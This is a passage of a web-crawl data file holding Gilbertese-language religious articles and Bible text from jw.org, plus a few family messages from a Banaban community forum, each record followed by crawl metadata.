E onea raoi mwin aia Toa ae te Riao I-Iutaia te kauring aei, mangaia are ti riai naba ni kakaraoia tii te taina ni katoa ririki.\nE koreaki ae kangai n ana Euangkerio Mataio: \"E anaa te bwerena Iesu ma n tataro ni katituaraoi, ao e oteia, ao e taku nakoia taan rimwina ngke e angania: 'Kam na anaia ni kanna. E tei te baei ibukin rabwatau.' E anaa te mwangko ao ngke e a tia n tataro ni katituaraoi nakon te Atua, ao e angania ao e taku: 'Moi iai, ngkami ni kabane, bwa e tei te baei ibukin raraau ae \"raraan te berita,\" ae e na kawawaeaki ibukia aika bati ibukini kabwaraani buure.'\"\nA kakoauaa tabeman bwa e boni bita te bwerena Iesu nakon irikona, ao te wain nakon raraana. Ma ni koauana, e bon teimatoa naba n tabwanin rabwatan Iesu ngke e anga te bwerena. A boni kana raoi rabwatan Iesu ana abotoro ma n nima raraana? A aki, bwa e tabuaki n ana tua te Atua, ao anne ai bon te kang aomata. (Karikani Bwaai 9:\nMangaia are te bwerena ma te wain bon tii taiani banna. E tei te bwerena ibukin rabwatani Kristo ae kororaoi. E kabongana nikiran te bwerena Iesu are karaoaki iai te Toa are Riao. Akea te bwai ni kariki ke te iiti ae renganaki i buakon te bwerena aei. (Te Otinako 12:8) E kona n tei te bwai ni kariki n te Baibara ibukin te bure ke te buakaka. Mangaia are e tei te bwerena ibukin rabwatan Iesu ae kororaoi are e kareanna. Bon akea te bure iai.\nE tei te wain ae uraura ibukin raraan Iesu. Te raraa anne e kamatoaa te berita ae boou. E taku Iesu bwa e kawawaeaki raraana \"ibukini kabwaraani buure.\" Mangaia are a a kona aomata n itiaki iai i matan te Atua ao n rin n te berita ae boou ma Iehova. (Ebera 9:14; 10:16, 17) Te berita ke te boraraoi aei, e karekea angaia Kristian ake 144,000 ake a kakaonimaki bwa a na nako karawa. A na riki iai bwa ueea ao ibonga ibukini kakabwaiaaia botannaomata.\nAntai aika a riai ni katoong banna aikai n tain te Kauring? E mataata bwa bon tii te koraki ake a mena i aan te berita ae boou, ake te koraki ake a kantaningaa te nako karawa, aika a riai ni katoongi banna n aron te bwerena ma te wain. E kakoauaa taamnein te Atua ae raoiroi nakoia te koraki anne, bwa a a tia n rineaki bwa a na uea i karawa. (I-Rom 8:16) A uaia ni kaaina te berita ma Iesu, are e kaineti ma te Tautaeka n Uea.\nMa tera aroia te koraki ake a kantaningaa te maeka n aki toki n te Bwaretaiti i aon te aba? A ongeaba n ana kairiri Iesu ao a kaea naba Ana Katairiki te Uea, ma a roko bwa taani mataku aika karinerine, ao tiaki taani katoongi banna. A kakaraoa Ana Katairiki te Uea Ana Tia Kakoaua Iehova, teuana te tai ni katoa ririki, n Nitian 14 imwini bungin taai. E ngae ngke tii tabeua tenga mai buakoia Kristian ni katobibia te aonnaba ake a kantaningaa te nako karawa, ma e kakawaki kaean te botaki aei irouia Kristian ni kabane. Bon te botaki are e na kona n reke iai aia tai aomata ni kabane, ni kaatuua aia iango i aon ana tangira Iehova ae te Atua ao Iesu Kristo ae moanibaan te tamaroa.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/ana-reirei-te-baibara\/ana-katairiki-te-uea\/","date":"2018-10-23T12:37:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516135.92\/warc\/CC-MAIN-20181023111223-20181023132723-00336.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":770,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri riki dauve, e raraba te reitaki man am tabo anne.akea newsin ara tabo aei ma ai bon ti te kakatauraoi irouia kain te kawa ibukin te 15ae nang roko.eng i nang ni kukurei n ni ongora man am side anne.e tau ma tekeraoi naba te tiku ikanne.ti a anga bon rereitaki ngakana e manga angaraoi.tia boo moa .\nmauri sis......ko mena iia njgkai?....e uara am baby?......te mwanne ke te aine natim?.....ao ai iraman natim ngkai? i amanga ongongora mai ikai news from there....ngkana e reke te tai..........tia boo moa ba ti nangin oki rikaki nakon ara auti.\nMauri, tera ae iangoaki? bon akea rongo2n ikai bwa bon arona naba..\nNgkai ae ia maternity leave, hopefully by nx wk ao ia bung.\nAo kam uara ma natimi? e tau ma tia manga bon re2itaki rimwi..tia boo moa\nMauri Christine,\nWhere are u now? So long we meet. Aikai natim? mehn sa qase. Where's ur dad now is he still alive? ahahahah I haven't seen him for so long.\nAnyway nothing new from this end only deaths: Rangantamoa Teitiaki (Momo) has passed away last week in suva.\nRegards & Luv from Rabi\nBureriti ia bon n tia anga ami kamauri nakoia am karo a bon marurung raoi, E tuangai tinam bwa koa tarebonia bwa a nang kan taetae ma ngkami moa. Tao ti ngaia moa anne ao koa manga reitia mai ikanne ti bo moa","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/banabanvoice.ning.com\/profile\/BureritiChristineTaubale","date":"2018-10-23T01:13:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515564.94\/warc\/CC-MAIN-20181023002817-20181023024317-00261.warc.gz","language":"gil","language_score":0.9994293451,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 0.9994293451309204}","num_words":232,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO KONA ni wareka te Baibara n te taetae n Ebera? Tao ko aki. Tao ko tuai n nonora te Baibara n Ebera. Ma ko na bae n rangi ni kakaitau riki ngkai e a reke iroum katoton te Koroboki ae Tabu, n arom n reiakina taekan teutana rongorongon te tia rabakau ae Elias Hutter are maiu n te ka-16 n tienture, ao taekani Baibara n Ebera aika uoua ake e boretii.\nE bungiaki Elias Hutter n 1553 i Görlitz, ae te kaawa ae uarereke ae uakaan ma te tabo are iaontia iai ni boong aikai Tiaman ma Poland ao te Czech Republic. E reiakini taian taetae man te aono n Atia Hutter n te Lutheran University i Jena. Ngke ai tibwa 24 ana ririki ao e a rineaki naba bwa te tia rabakau i aon te taetae n Ebera i Leipzig. Kioina ngkai e boutokaa katamaroaan te waaki n angareirei, e a katea imwina riki te reirei i Nuremberg ike a kona iai ataein te reirei n reiakina te taetae n Ebera, ni Kuriiti, n Ratine, ao n Tiaman, i nanon aua te ririki. N taai akanne ao e aki kona ni karaoaki anne n reirei ake tabeua riki ke n te reirei ae rietata.\n\"TAMAROAN TE RAIRAI AEI\"\nN 1587 ao e a karaoa te Baibara Hutter n te taetae n Ebera, ae rangi n ataaki n arana ae te Oo Tetemanti. E atunaki te rairai aei n te Derekh ha-Kodesh, ae e aanaki man Itaia 35:8 ae nanona \"Kawain te Tabu.\" N teini korobokiana ae tamaroa ao e a taekinaki iai ae kangai: \"E oti tamaroan te Baibara aei ni bwaai ni kabane aika iai.\" Ma te bwai ae karika te Baibara aei bwa e na manena, bon aroia ataein te reirei ni kabongana bwa te bwai n ibuobuoki ae uaana n reiakinan te taetae n Ebera.\nN te aro bwa ti na ota bwa bukin tera ngkai e rangi n ibuobuoki ana Baibara n Ebera Hutter, ti na iangoi kangaanga aika uoua are e kaaitara ma ngaai te tia reiakinaki ngke e kataia ni wareka te Baibara n te taetae n Ebera. Te moan, boni manin te koroboki aika kakaokoro ao e aki taneiai te aba iai. Te kauoua, bon taian prefix ao suffix aika taeka ake a reita moan ke bukin te boto n taeka teuana, n te aro are e a kangaanga kinaakin te boto n taeka anne. N te katoto, iangoa te taeka n Ebera ae נפשׁ (ae rairaki bwa ne'phesh), ae nanona \"aomata.\" N Etekiera 18:4, e moanaki ma te reita n taeka ae ה (ha), ae nanona \"te\" ao e a riki bwa te taeka ae הנפשׁ (han·ne'phesh), ke \"te aomata.\" Irouia naake a aki taneiai ma te taeka ae הנפשׁ (han·ne'phesh), a kona n iangoia bwa bon te taeka teuana ae kaokoro ma נפשׁ (ne'phesh).\nIbukini buokaia ataein te reirei, ao e kabongana Hutter te aro ni boreeti teuana ae e oti iai te rabakau ae bati. E kabonganai manin te koroboki n te taetae n Ebera aika karanaki nanoia, ao aika a aki. A karanaki nanoni booto n taeka, ma a aki karanaki nanon taeka ake i moan ao i bukin te boto n taeka. Te bwai ni boreeti aei, e a buokiia ataein te reirei bwa a na kinaa te boto n taeka n te taetae n Ebera, ao n reiakina naba te taetae n Ebera. A kabonganaaki aanga aika manena aika ai aron akanne n taiani kabwarabwara mai nano ake n The New World Translation of the Holy Scriptures—With References. * E turu riki karan te boto n taeka, ao taeka ake a reita moana ao bukina a aki turu karaia. N taamnei aika teretere, a kaota tein te koroboki ae kabongana Hutter n te Baibara n Ebera ake n Etekiera 18:4, ao e kabonganaaki naba n te Reference Bible n te kabwarabwara mai nano n te kibu naba anne.\nTE BAIBARA N TE TAETAE N EBERA AE TE \"NUU TETEMANTI\"\nE boreetia naba Hutter te boki ae ataaki n arana ae te Nuu Tetemanti n taetae aika 12. E boreetiaki te Baibara aei i Nuremberg n 1599, ao e aki toki n taekinaki bwa bokin Nuremberg ae koreaki n taetae aika bati. E kani karina naba Hutter te rairai n te taetae n Ebera i aon te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti. Ma e taku bwa e ngae ngkana \"e kani kabwakaa te mwane ae bati\" ibukini karaoan te aeka n rairai n te taetae n Ebera aei, ma e na boni matebuaka. * Ngaia are e baireia bwa e na bon raira te Nuu Tetemanti man te taetae ni Kuriiti nakon te taetae n Ebera. E katikui tabena ni kabane Hutter ao e katiaa te mwakuri n rairai aei i nanon tii teuana te ririki!\nTera aron nakoraoin ana rairai Hutter i aon te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti nakon te taetae n Ebera? E korea ae kangai te tia rabakau n te taetae n Ebera ae Franz Delitzsch n te ka-19 n tienture: \"Ana rairai teuaei n te taetae n Ebera, e kaotia bwa e rangi ni bati riki otana n te taetae anne nakon otaia iai angia Kristian. E noraki bwa e rangi ni bati ana tai are e rinea raoi iai te taeka ae te kabanea n raoiroi ibukin rairan te taetae n Ebera.\"\nMWINA AE TEIMATOA\nE aki kaubwai Hutter man ana mwakuri n raitaeka aei, are e teretere iai bwa a aki bati ni kabooaki ana rairai aikai. Ma iai mwin ana mwakuri ae kakawaki ao e teimatoa mwina. N te katoto, te Nuu Tetemanti are e rairia nakon te taetae n Ebera, e a manga rinanoaki ao ni manga boreetiaki n 1661 irouni William Robertson, ao imwina riki iroun Richard Caddick n 1798. Ngke e rairai Hutter man te koroboki nikawai n te taetae ni Kuriiti, ao e karaoa te bwai ae eti ngke e rairi nakoa aika Kyʹri·os (te Uea) ao The·osʹ (te Atua) nakon \"Iehova\" (יהוה, JHVH) ni kanoani kiibu ake a anaaki man te Koroboki ae Tabu n te Taetae n Ebera, ao ni kiibu naba ake e kakoauaa bwa a bon nanona Iehova. E kakaongora karaoan aei ibukina bwa e ngae ngke a bati rairai n te Nuu Tetemanti aika aki kabongana aran te Atua, ma e riki ana rairai Hutter bwa te bwai ni kakoaua are e boutokaa kaokan aran te Atua n te Koroboki ae Tabu n te Taetae ni Kuriiti.\nNgkana ko nora aran te Atua ae Iehova imwina riki n te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti, ke n te kabwarabwara mai nano n te Reference Bible, uringa ana mwakuri Elias Hutter ao ana Baibara n te taetae n Ebera aika rianako.\n^ bar. 9 E oti bwa iai taan rabakau ake a a kaman raira te Nuu Tetemanti nakon te taetae n Ebera. N aron temanna bon Simon Atoumanos ae te tama n te Byzantine, tao n 1360. Temanna riki bon Oswald Schreckenfuchs ae te tia rabakau mai Tiaman, tao n 1565. A aki roko n te boreetiaki rairai aikai ao ai bon akea ngkai.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na4-2017-turai\/ana-baibara-elias-hutter-n-te-taetae-n-ebera\/","date":"2018-10-17T23:16:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511314.51\/warc\/CC-MAIN-20181017220358-20181018001858-00299.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1183,"character_repetition_ratio":0.091,"word_repetition_ratio":0.01,"special_characters_ratio":0.233,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki bebete kakaaean te bwaintangira ae raoiroi. Bwa kakawakin te bwaintangira e boto i aon ana namakin te tia bwaintangiraaki. Ao te bae iangoia temanna bwa te kabanea n raoiroi e kona n aki iroun temanna.\nN aron aei, e iangoia te roro n rikirake temanna bwa te bwaintangira ae akea n ai arona bon tablets ao mobwaao. Ma iroun te ikawai, e rangi ni kakawaki te bwaintangira ae kakawakinaki n aia utu i nanon rooro ma rooro. Ni katei tabeua, te mwane bon te bwaintangira ae tangiraki riki irouia rooro n rikirake ao kaara, bwa a kona ni kabongana ni baike a tangiri.\nE ngae ngke e kangaanga, ma a bati aika teimatoa n ukera te bwaintangira ae te kabanea n nakoraoi ibukin te aomata ae kakawaki irouia. Kioina ngkai e aki bebete n taai nako reken te aeka ni bwaintangira anne, ma e kona n ibuobuoki iaiangoani baikai. Ti na rinanoi ngkai baika aua aika kona ni kakukureia te tia bwaintangiraaki.\nTe bae tangiria te tia bwaintangiraaki. E arana te bwatika ni kauaia temanna te mwaane i Belfast, i Ireland Meang are e anganaki ngke 10 ke 11 ana ririki bwa te bwaintangira nakoina ae te kabanea n raoiroi. Bukin tera? E kabwarabwaraa ni kangai: \"Bwa I rangi n tangiria.\" E kaotaki n taeka aikai bwa te bae tangiria te aomata, e oti raoi iai bwa e na kawakina te bwaintangira anne ke e na aki. Ngaia are iaiangoa te aomata are ko kani bwaintangiraia. Kataia ataa te bae kakawaki irouna, bwa e aki toki n irekereke te baenne ma te bae tatangiria. N te katoto, e kakawaki irouia tiibu aika kaara kabanean aia tai ma aia utu. Tao a kan nonoriia natiia ao tibuia n taai aika angaraoi. Te mwananga ni motirawa n te utu ae kaaina naba tiibu aika kaara, e kakukurei riki irouia, nakoni bwaintangira riki tabeua.\nKiingin ataakin te bae e tangiria te aomata bon te kakauongo raoi. E kaungaira te Baibara bwa ti na 'waekoa n ongora, ao n iremwe n taetae.' (Iakobo 1:19) Ngkana ko maroro ma raoraom ke am koraki, kakauongo raoi bwa ko na atai baika a tatangiri ao aika a riribai. Ko a kona ngkanne n anga te bwaintangira ae a na kukurei iai.\nTe bae kainnanoia te tia bwaintangiraaki. E kona ni kawakina raoi te bwaintangira ae uarereke naba ke ae boraoi te tia bwaintangiraaki, ngkana e boni kainnanoia. Ma ko na kangaa n ataa ae e kainnanoia te aomata?\nTao te anga ae te kabanea ni bebete bon titirakinana te bae kainnanoia ke ae e tangiria. Ma irouia taani bwaintangira aika bati, karaoan anne e kauarerekea kakukurein te anga, bwa a kani kakubanakoa riki te aomata n aia bwaintangira are e boni kainnanoia. Ma e ngae ngke iai aika a tataekini riki baika a tatangiri ao aika a riribai, ma n angiin te tai a aki tataekini baika a kainnanoi.\nNgaia are kamatairikiko ao ataa raoi aron te aomata anne. E ataei, e a kara, e tuai n reke buuna, iai buuna, e a tia ni buuraure, e a tia ni mate buuna, e mwakuri, ke e a uritaea? Iaiangoi raoi am bwaintangira aika kaineti ma kainnanon te aomata.\nNgkana ko kan ataa ae e kainnanoia raoi te aomata, maroro ma ake a a tia n rinanon anne. Tao a na tuangko bwaai tabeua aika okoro aika aki rangi n ataia tabemwaang. Aeka n ibuobuoki akanne, ko a kona iai n anga te bwaintangira ae kainnanoaki raoi, ae a aki iangoia aomata.\nTe tai ae riai. E taku te Baibara: \"Ai raoiroira te taeka ae taekinaki n te tai ae riai!\" (Taeka N Rabakau 15:23) E oti n te kibu aei bwa a kona n rangi n ibuobuoki taeka aika taekinaki n te tai ae riai. Ai arona naba ma ara mwakuri. N aron taeka aika taekinaki n te tai ae riai aika kona n rangi ni kakukureia te tia ongora, te bwaintangira naba ae roko raoi n te tai ae riai ke n te bong ae kakawaki, e kona ni kakukureia riki te aomata.\nE nang mare raoraom. E nang angabeeba temanna te roro n rikirake. E nang reke natiia te taanga teuana. Aikai tabeua boong aika kakawaki ake e anganga bwaintangira te aba iai. A noria tabeman bwa e ibuobuoki tatauani mwin taai aika okoro aikai, ibukin te ririki are imwina. N te aro aei a kona ni moantaai iai n iangoa aia bwaintangira ae te kabanea n raoiroi ibukin taai akanne. *\nKo bon aki riai n tii bwabwaintangira n taai aika okoro. E kona n namakinaki kakukurein te anganga n taai nako. Ma e riai bwainan te iangoraoi. N te katoto, ngkana te mwaane e na bwaintangiraa te aine n akea raoi bukina, e na bae neienne n iangoia bwa iai nanon teuaei ni kan ikikina riki ma ngaia. Ngkana tiaki raoi anne bukin te bwaintangira, e kona ni bure otan iai te aomata ao n riki kangaanga. E oti n aei ngkanne bwa e kakawaki naba iaiangoan bukin te bwaintangira.\nBukin te bwaintangira. N aron ae e oti i eta, e raoiroi iaiangoan ae e na aki bure otan te tia bwaintangiraaki ni bukin te bwaintangira. Ma e riai te tia anga n iaiangoa moa bukin raoi ana bwaintangira. E ngae ngke a iangoia angiina bwa a bwaintangira i aani bukina ae riai, ma a bati aika bwaintangira n tabetai ni katoa ririki i aani kairoroaia. Ao iai naba aika a anganga bwa a aonga n akoaki ke ni bwaintangiraaki.\nTera ae ko kona ni karaoia bwa ko aonga ni bwaintangira i aani bukina ae raoiroi? E taku te Baibara: \"Karaoi bwaai ni kabane ake kam karaoi, ma te tangira.\" (1 I-Korinto 16:14) Ngkana e aanaki am anganga n te tangira ae koaua ao n tabeakinan te aomata, a na bae ni butimwaeaki ma te kukurei am bwaintangira, ao ko na namakina te kukurei ae moan te bati man te tituaraoi ni koaua. Ngkana ko anga ma nanom, ko kakimwareireia naba iai Tamara are i karawa. E kamoamoaia Kristian ake i Korinto rimoa te abotoro Bauro ngke a tituaraoi ao ni kukurei ni boutokaa te mwakuri n ibuobuoki ibukia raoia ni Kristian ake i Iutaia. E tuangia Bauro bwa \"te Atua e tangira ane e anga ma kukurein nanona.\"—2 I-Korinto 9:7.\nIaiangoani baika ti a tia n taekin, a kona n rangi n ibuobuoki nakoim, ni karekean am bwaintangira aika a na kakukureiia tabemwaang. A a tia baikai ao tabeua riki n rangi n ibuobuoki n ana babaire te Atua ni kaineti ma reken te bwaintangira ae te kabanea ni kakawaki irouia aomata. Ti kaoko bwa ko na iangoa te bwaintangira ae rianako aei, ni warekan te kaongora ae imwina.\n^ bar. 13 A bati aomata aika bwabwaintangira naba n taian rekenibong ke ni boong ni motirawa. Ma a aki toki n irekereke botaki aikai ma mwakuri aika kaitaraa ana reirei te Baibara. Nora te kaongora n te maekatin aei ae \"Aia Titiraki Taani Wareware—A Riai Kristian ni Kakiritimati?\"","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na6-2017-nobembwa\/te-bwaintangira-ae-te-kabanea-n-raoiroi\/","date":"2018-10-16T12:01:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510749.55\/warc\/CC-MAIN-20181016113811-20181016135311-00154.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1158,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Baibara ae Tabu te Rairai ae te Aonnaba ae Boou MOANTAEKABOOKIKARINANAKIN TAEKABUKINIBAA ABUKINIBAA B Bukinibaa BB1 Te Rongorongo ae Mena n te BaibaraMWAABEB2 Karikani Bwaai ao Mwamwanangaia BaatuaB3 Te Otinako Mai AikubitaB4 Kataenikaian te Aba ni BeritaB6 Maekanakin te Aba ni BeritaB7 Ana Tautaeka n Uea Tawita ao ToromonB9 Tautaeka Aika Mwaaka Riki n te Aonnaba Aika Taetae ni Burabetinaki Iroun TanieraB10 Iteraera n Ana Tai IesuB13 Butanakon te Aro ni KristianTAAMNEIB5 Te Umwanrianna ae Tabu ao te Ibonga ae RietataB8 Te Tembora ae Kateaki Iroun ToromonB11 Bairean te Tembora n te Moan TientureTE TAIB12-A Ana Kabanea ni Wiki Iesu ni Maiu i Aon te Aba (Mwakoro 1)B12-B Ana Kabanea ni Wiki Iesu ni Maiu i Aon te Aba (Mwakoro 2)B15 Te Karenta n EberaBWAAI NI BAIREB14-A Te Iokinibwai ao te Waaki ni BitinetiB14-B Te Mwane ao te Rawawata","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/wol.jw.org\/gil\/wol\/publication\/r178\/lp-gb\/nwt\/GB\/2013\/119","date":"2018-10-20T23:33:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513508.42\/warc\/CC-MAIN-20181020225938-20181021011438-00357.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":140,"character_repetition_ratio":0.065,"word_repetition_ratio":0.046,"special_characters_ratio":0.206,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karekei man te Intanete bwaai n reirei ni kairiri aikai, ao kabonganai ma te boki ae Tera Ana Reirei ni Koaua te Baibara? Tuoi baika ko kakoauai, neneri ana reirei te Baibara, ao reiakina arom ni kamanoa am onimaki.\nE karaoaki te boki n reirei n te Baibara aei bwa e na buokiko n reiakina ae e taekinaki n te Baibara ni kaineti ma reirei aika kakaokoro n ikotaki ma, e aera ngkai ti rawawata, tera ae riki n te mate, aroni karekean te kukurei n te utu, ao a a bati riki.\nTi karautaeka bwa e aki moa tauraoi kanoan te tabo aei n te taetae aei.","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/baibara-reirei-bwaai-n-ibuobuoki\/bwaai-n-reirei-kairiri\/","date":"2018-10-16T01:15:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509960.34\/warc\/CC-MAIN-20181016010149-20181016031649-00379.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":108,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Tai kabatiaa tiriburean te mwaane ae e a kara.+ Ma n oneani mwin anne, butiia bwa kaanga tamam, ao butiia mwaane ake a ataei riki bwa kaanga tarim, 2 ao unnaine bwa kaanga tinam ao aine ake a ataei riki bwa kaanga mwaanem, ma te itiaki ni kabane.\n3 Mutiakinia* aine ake a a tia ni mate buuia* ake a boni kainnanoa raoi te ibuobuoki.+ 4 Ma ngkana iai natin ke tibun te aine ae e a tia ni mate buuna, ao ke a reireinia moa naakai n tararuaiia kaain aia auti ni kaineti ma tangiran te Atua+ ao ni kabwarai baeia irouia aia karo ke tibuia,+ bwa e riai aei i matan te Atua.+ 5 E onimakina te Atua te aine ae e a tia ni mate buuna ae boni kainnanoa raoi te ibuobuoki ae maiu ni kainnano,+ ao e teimatoa ni kakorakoraa n tataro ni bubutii ao n tatataro ni ngaina ao ni bong.+ 6 Ma te aine ae kani kakukureia rabwatana, e boni mate e ngae ngke e maiu. 7 Mangaia ae teimatoa n anga kaetieti* aikai, bwa a aonga n akea kabuakakaaia. 8 Ma ngkana iai temanna ae aki karekei kainnanoia ana koraki ake e bon riai n tabeakinia, ai moarara riki ake boni kaaini batana, ao e kakeaa te onimaki ao e buakaka riki nakon te aomata ae aki onimaki.+\n9 E na koreaki aran te aine ae e a tia ni mate buuna ae e a tia ni koro 60 ana ririki, ae kakaonimaki* nakoni buuna 10 ae e kakoauaaki bwa a raraoi ana mwakuri,+ ngkana e a tia ni kaikawaiia natina,+ n akoiia+ ianena, n teboki waeia te koraki aika itiaki,*+ ni buokiia akana karawawataaki,+ ao n anga ngaia nakoni mwakuri aika raraoi ni bane.\n11 Ma n te itera are teuana, tai korei araia aine ake a ataei riki ake a a tia ni mate buuia, bwa e na tutukaki aia beku ibukini Kristo ngkana e roko nanoia ni kan iein, ao ane a na kani mare. 12 Ao ane a na kabuakakaaki ibukina bwa a kitana aia moani kantaninga ni kaineti ma aia onimaki.* 13 Ao a reireinia naba te aro ae akea uaana, ni kabanetai ni kareaanibata, eng, akea uaaia, ao irarikina bon taani winnanti naba ngaiia ao taan reberake n roko n tabeia aomata,+ ao n taekini baike a aki riai n taekin. 14 Mangaia ae I tangiriia aine ake a ataei riki ake a a tia ni mate buuia, bwa a na manga mare+ ma ni karikiia natiia+ ao a na tabeakinia kaaini bataia, bwa a aonga n aki karekea angan te tia kaaitara bwa e na tiribureira. 15 Ni koauana, a a tia tabeman n rairakinako n rimwin Tatan. 16 Ngkana iai te aine ae onimaki ae iai ana koraki aika aine aika a a tia ni mate buuia,* ao ke e tabeakinia neienne, bwa e aonga n aki karawawataaki te ekaretia, ao e a kona ngkanne te ekaretia ni buokiia aine ake a a tia ni mate buuia ake a boni kainnanoa raoi te ibuobuoki.+\n17 A riai n iangoaki unimwaane ake a kairiri n te aro ae raoiroi,+ bwa a tau ni kabatiaaki karineaia,+ ai moarara riki te koraki aika mwakuri korakora n tataekina ana taeka te Atua ao n angareirei iai.+ 18 Bwa e kangai te koroboki ae tabu, \"Ko na aki kabaea win te kao mwaane ngkana e toutoua te uita ni kaaki kunna,\"+ ao e kangai naba, \"E riai n anganaki te tia mwakuri boona.\"+ 19 Tai kariaia te bukibuki ni kaitaraa te unimwaane, ma tii ngkana a kakoaua iai uoman ke teniman.+ 20 Boaiia+ aomata aika kakaraoa ae bure, i mataia taani kakoaua ni kabane,+ bwa te bwai n reirei* nakoia akana tabemwaang. 21 I tua nakoimi i matan te Atua ao Kristo Iesu ma anera aika rineaki, bwa kam na toui mwini kaetieti aikai ma n tirobaei raoi imwaini karaoan te moti, ao n aki inanonano.+\n22 Tai ienikuri ni kaaki baim i aon te mwaane ni mwiokoia,+ ao tai ibuokanibwai naba n aia bure tabemwaang. Kateimatoa itiakin aroaroni maium.\n23 Tai manga moi n te ran,* ma nima te wain teutana ibukini birotom ma aorakim aika itutuko.\n24 A ataaki aia bure tabeman irouia aomata, ike e a motikaki naba iai taekaia ngkekei, ma ake tabeman a kaotaki aia bure rimwi.+ 25 Ao ai arona naba, bwa a ataaki mwakuri aika raraoi irouia aomata,+ ao ake a aki ataaki, a aki kona n teimatoa n raba.+","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/54\/5","date":"2018-10-21T00:39:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513508.42\/warc\/CC-MAIN-20181020225938-20181021011438-00239.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":722,"character_repetition_ratio":0.071,"word_repetition_ratio":0.031,"special_characters_ratio":0.238,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te Kaonobong ae 5 n Ritembwa 2015, ao e a reke iroura te bwai ae moan te kakawaki ibukin ara onimaki ae taekan otinakon te Baibara ae Tabu\nE a kaoti ngkai te Baibara ae Tabu\nE Aera Ngkai E a Rangi ni Bati te Rairai i Aon te Baibara?\nA bati Baibara aika boou ake a a tia ni boreetiaki n ririki aika tibwa nako. Tabeua Baibara aika boou a riki bwa Baibara aika moan rairaki iai ana Taeka te Atua n taetae tabeua. Ma e ngae n anne, iai naba Baibara aika boou aika otinako n taetae ake bon iai oin aia rairai n aia Baibara mai mwaina. Bwa tera bukina? E kabwarabwaraaki ae kangai n te boki ae So Many Versions? are mairoun Sakae Kubo ao Walter Specht: \"E aki riai n iangoaki bwa iai te rairai n te Baibara ae kororaoi ae aki kainnanoaki riki te katamaroa iai. A riai ni katamaroaaki riki ngkai e a rikirake te rabakau i aon te Baibara ao a bibitaki taian taetae.\"\nN ririki aika tibwa nako ao e a noraki te rikirake ae bati n te ota n te taetae n Ebera, n Aramwaike, ao ni Kuriiti, ake taetae ake e moani koreaki iai te Baibara. A a tia naba ni kuneaki koroboki nikawai n te Baibara ake a a rangi ni maan riki, ao a eti raoi riki nakon ake a kabonganaaki iroun te roro are mai mwaina ake taan raira te Baibara. Ngaia are e a kona n rairaki ngkai ana Taeka te Atua n te aro ae e eti raoi riki nakon are mai mwaina!\nE korea ae kangai Declan Hayes ae te Bwakuaku n te Bitineti n te Aonnaba: \"Te Baibara bon te boki ae te kabanea ni mwaiti kabooana ni katoa ririki.\" Ao n tabetai e kaatuuaki riki karaoan te rairai ae kona ni kabooakinako katotona 